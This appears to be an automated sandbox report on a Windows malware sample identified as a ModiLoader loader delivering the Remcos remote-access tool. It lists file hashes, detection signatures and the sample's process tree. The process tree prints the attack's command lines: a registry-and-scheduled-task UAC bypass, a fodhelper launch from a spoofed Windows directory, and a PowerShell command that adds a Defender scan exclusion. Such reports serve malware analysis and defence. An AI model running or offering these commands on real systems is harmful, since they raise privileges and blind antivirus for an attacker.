Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    13/07/2020, 11:46

General

  • Target

    de211b9bc6b587b466a9fa4f73aed579.exe

  • Size

    1.1MB

  • MD5

    de211b9bc6b587b466a9fa4f73aed579

  • SHA1

    a9eedbe3813be8608656b532eee9c61ef58b4283

  • SHA256

    2f0ce341108a0d177092a8e18ca880b966f96a397f23c5135cfd9c6588b0c8c1

  • SHA512

    570aab11cad657fa6b5ad748b341b2bf2d2b9b1d9c6f45f956d4f66ea092252022f6b9cefad3fd790ab57f48451ac3389f0a1c1954d679f7a9cc491f2ed02d7e

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • ServiceHost packer 123 IoCs

    Detects ServiceHost packer used for .NET malware

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 528 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\de211b9bc6b587b466a9fa4f73aed579.exe
    "C:\Users\Admin\AppData\Local\Temp\de211b9bc6b587b466a9fa4f73aed579.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3564
    • C:\Windows\SysWOW64\TapiUnattend.exe
      "C:\Windows\System32\TapiUnattend.exe"
      2⤵
        PID:3420
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat
          3⤵
            PID:2364
            • C:\Windows\SysWOW64\reg.exe
              reg delete hkcu\Environment /v windir /f
              4⤵
              • Modifies registry key
              PID:1464
            • C:\Windows\SysWOW64\reg.exe
              reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
              4⤵
              • Modifies registry key
              PID:1208
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
              4⤵
                PID:1160
              • C:\Windows\SysWOW64\reg.exe
                reg delete hkcu\Environment /v windir /f
                4⤵
                • Modifies registry key
                PID:4016
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c C:\Users\Public\Runex.bat
              3⤵
                PID:2064
                • C:\Windows \System32\fodhelper.exe
                  "C:\Windows \System32\fodhelper.exe"
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2952
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c C:\Users\Public\x.bat
                    5⤵
                      PID:2284
                      • C:\Windows\system32\cmd.exe
                        cmd /c C:\Users\Public\x.vbs
                        6⤵
                        • Modifies registry class
                        PID:3512
                        • C:\Windows\System32\WScript.exe
                          "C:\Windows\System32\WScript.exe" "C:\Users\Public\x.vbs"
                          7⤵
                            PID:2520
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Users\Public\cde.bat" "
                              8⤵
                                PID:1872
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local
                                  9⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:416
                  • C:\Program Files (x86)\internet explorer\ieinstal.exe
                    "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                    2⤵
                      PID:2020

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • memory/2020-129-0x0000000000400000-0x0000000000417000-memory.dmp

                          Filesize

                          92KB

                        • memory/2020-127-0x0000000000400000-0x0000000000417000-memory.dmp

                          Filesize

                          92KB

                        • memory/3564-124-0x0000000050480000-0x00000000504C0000-memory.dmp

                          Filesize

                          256KB